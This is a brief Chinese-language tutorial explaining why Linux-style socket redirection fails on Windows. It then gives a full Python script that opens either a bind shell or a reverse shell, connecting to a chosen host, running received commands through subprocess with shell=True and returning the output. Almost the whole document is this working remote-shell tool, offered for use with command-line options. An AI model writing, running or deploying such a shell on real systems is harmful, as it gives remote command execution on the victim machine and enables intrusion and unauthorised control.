Windows下的shell原理
經過查閱資料,使用os.dup2(nfd, ofd)的方式重定向socket的輸入輸出到windows系統的cmd是無法做到的,屬於系統原因,不能直接復制Linux下的方案,所以只能寫程序收集socket的輸入,調用subprocess.Popen去執行,然后獲取輸出后在返回給socket。
Python源代碼
# -*- coding:utf-8 -*-
# 引入依賴的庫、包、模塊
import os
import select
import socket
import subprocess
from optparse import OptionParser
# 定義shell函數
def BindConnect(addr, port):
'''正向連接shell'''
try:
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((addr,port))
shell.listen(1)
except Exception as reason:
print ('[-] Failed to Create Socket : %s'%reason)
exit(0)
client, addr = shell.accept()
rlist = [shell, client]
wlist = []
elist = [shell, client]
while True:
client.send("bobac's-shell#")
rs,ws,es = select.select(rlist,wlist,wlist)
for sockfd in rs:
if sockfd == client:
command = client.recv(1024)
if command == 'exit':
shell.close()
client.close()
break
result, error = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()
client.sendall(result.decode("GB2312").encode("UTF-8"))
def ReserveConnect(addr, port):
'''反彈連接shell'''
try:
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.connect((addr,port))
except Exception as reason:
print ('[-] Failed to Create Socket : %s'%reason)
exit(0)
rlist = [shell]
wlist = []
elist = [shell]
while True:
shell.send("bobac's-shell#")
rs,ws,es = select.select(rlist,wlist,wlist)
for sockfd in rs:
if sockfd == shell:
command = shell.recv(1024)
if command == 'exit':
shell.close()
break
result, error = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()
shell.sendall(result.decode("GB2312").encode("UTF-8"))
# 主函數運行
if __name__ == "__main__":
optParser = OptionParser()
optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
optParser.add_option('-b','--bind', action='store_true', dest='bind')
optParser.add_option("-a","--addr", dest="addr")
optParser.add_option("-p","--port", dest="port")
options , args = optParser.parse_args()
if options.reverse:
ReserveConnect(options.addr, int(options.port))
elif options.bind:
BindConnect(options.addr, int(options.port))
運行效果如圖




